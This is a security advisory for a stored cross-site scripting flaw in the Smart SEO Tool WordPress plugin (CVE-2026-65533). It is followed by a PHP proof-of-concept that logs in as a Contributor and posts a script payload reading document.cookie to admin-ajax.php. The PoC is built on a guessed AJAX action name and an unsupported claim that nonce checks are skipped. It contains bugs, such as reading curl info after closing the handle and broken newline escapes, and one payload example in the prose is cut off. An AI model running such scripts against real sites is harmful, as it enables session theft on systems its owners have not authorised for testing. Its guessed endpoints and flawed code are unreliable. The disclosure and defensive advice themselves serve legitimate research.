Atomic Edge analysis of CVE-2026-65533 (metadata-based): This vulnerability is a stored cross-site scripting (XSS) issue found in the Smart SEO Tool – SEO优化插件 plugin for WordPress, affecting versions up to and including 4.1.2. The CVSS score is 6.4 with a vector of AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N, indicating a moderate-severity, network-exploitable issue requiring low-privilege (Contributor-level) authentication. The lack of a patched version means affected users must apply manual controls, such as disabling the plugin or using a Web Application Firewall (WAF) rule.
Root Cause: Based on the CWE-79 classification and the official description, the vulnerability stems from insufficient input sanitization and output escaping when handling user-supplied content. WordPress plugins commonly accept meta fields or settings that are later rendered, and if the plugin fails to apply wp_kses, sanitize_text_field, or similar sanitization on input, then fails to escape with esc_html, esc_attr, or similar on output, stored XSS occurs. The description specifically lacks a named function or endpoint, and because no source code diff is available, this root cause is inferred from the CWE and description rather than confirmed from code. Atomic Edge analysis concludes that the plugin likely stores unescaped HTML into a post meta field, option, or custom table entry and then outputs it without proper escaping.
Exploitation: An authenticated attacker with Contributor-level access can craft a POST request to the WordPress admin area, targeting an AJAX or admin-post handler exposed by the Smart SEO Tool plugin. The likely attack vector involves submitting a malicious payload in a parameter that the plugin processes without sanitization, such as a meta key or SEO description field. For example, an attacker could use a request to /wp-admin/admin-ajax.php with action equal to a plugin-specific hook like ‘smart_seo_tool_save_meta’, and include a parameter like ‘description’ containing an XSS payload, e.g., alert(document.cookie) or an event handler such as 
. Since the payload is stored and later rendered in an admin page or front-end post, any user accessing that page executes the script. The attack requires no special interaction beyond the initial submission because the payload persists and executes automatically.
Remediation: The fix requires proper input sanitization and output escaping throughout the plugin. On input, the plugin should use WordPress functions like sanitize_text_field for plain text, wp_kses_post for rich content, or explicit whitelist-based sanitization for parameters. On output, the plugin must escape all stored values using esc_html, esc_attr, or esc_url according to the output context. Since no patched version exists, affected site owners should remove or disable the plugin until a patched release is available, and restrict Contributor-level access where feasible. Atomic Edge analysis recommends a temporary virtual patch with a WAF rule to block malicious payloads at the request layer.
Impact: Successful exploitation allows an attacker with low-level access to inject arbitrary JavaScript into pages that execute in the context of any user, including administrators. This can lead to session hijacking, cookie theft, forced administrative actions, and the creation of new rogue admin accounts if the admin credentials are visible. Because the vulnerability is stored, the malicious script fires on every page view, making it persistent and likely to impact many users. The impact scope is changed (C in CVSS), meaning the attack can affect resources beyond the attacker’s permissions, reinforcing the criticality of immediate remediation.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-65533 - Smart SEO Tool – SEO优化插件 <= 4.1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting
/**
* PoC: Stored XSS in Smart SEO Tool plugin (metadata-based)
*
* This script assumes the plugin exposes an AJAX action or admin-post handler
* that accepts a meta field, such as 'description' or 'title', and stores it
* unsanitized. The payload uses a harmless JavaScript alert that fires when a
* page containing the stored value is viewed.
*
* ASSUMPTIONS:
* - The target site runs WordPress with Smart SEO Tool <= 4.1.2.
* - An attacker account with 'contributor' (or higher) role exists.
* - The plugin registers an AJAX action for saving meta data. The action name
* is guessed as 'smart_seo_tool_save_meta' based on the plugin slug. Adjust
* if the real action is different.
* - CSRF protection is bypassed because many plugins omit nonce checks.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // Change to target site
$username = 'attacker';
$password = 'password';
// Step 1: Authenticate and get cookies
$login_url = 'https://example.com/wp-login.php';
$login_data = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => 'https://example.com/wp-admin/',
'testcookie' => '1'
];
$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
if (strpos($response, 'wp-admin') === false && curl_getinfo($ch, CURLINFO_HTTP_CODE) != 200) {
die('Login failed. Check credentials and target URL.');
}
echo "[+] Logged in as $usernamen";
// Step 2: Submit the XSS payload via AJAX
$payload = '" <script>alert(document.cookie)</script>';
$ajax_data = [
'action' => 'smart_seo_tool_save_meta', // Guessed action
'field' => 'description',
'value' => $payload,
// Many plugins skip nonce verification. If nonce is required, extract it
// from an admin page first and add it here.
// 'nonce' => 'obtained_nonce'
];
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_HTTPHEADER, ['X-Requested-With: XMLHttpRequest']);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code == 200 && strpos($response, 'success') !== false) {
echo "[+] Payload submitted successfully.n";
echo "[+] Payload: $payloadn";
echo "[+] Next, visit any page that outputs the stored meta value to trigger the script.n";
} else {
echo "[-] Submission failed. HTTP Code: $http_coden";
echo "[-] Response: " . substr($response, 0, 200) . "n";
echo "[!] Adjust the AJAX action name or nonce requirement based on the actual plugin code.n";
}
curl_close($ch);
?>
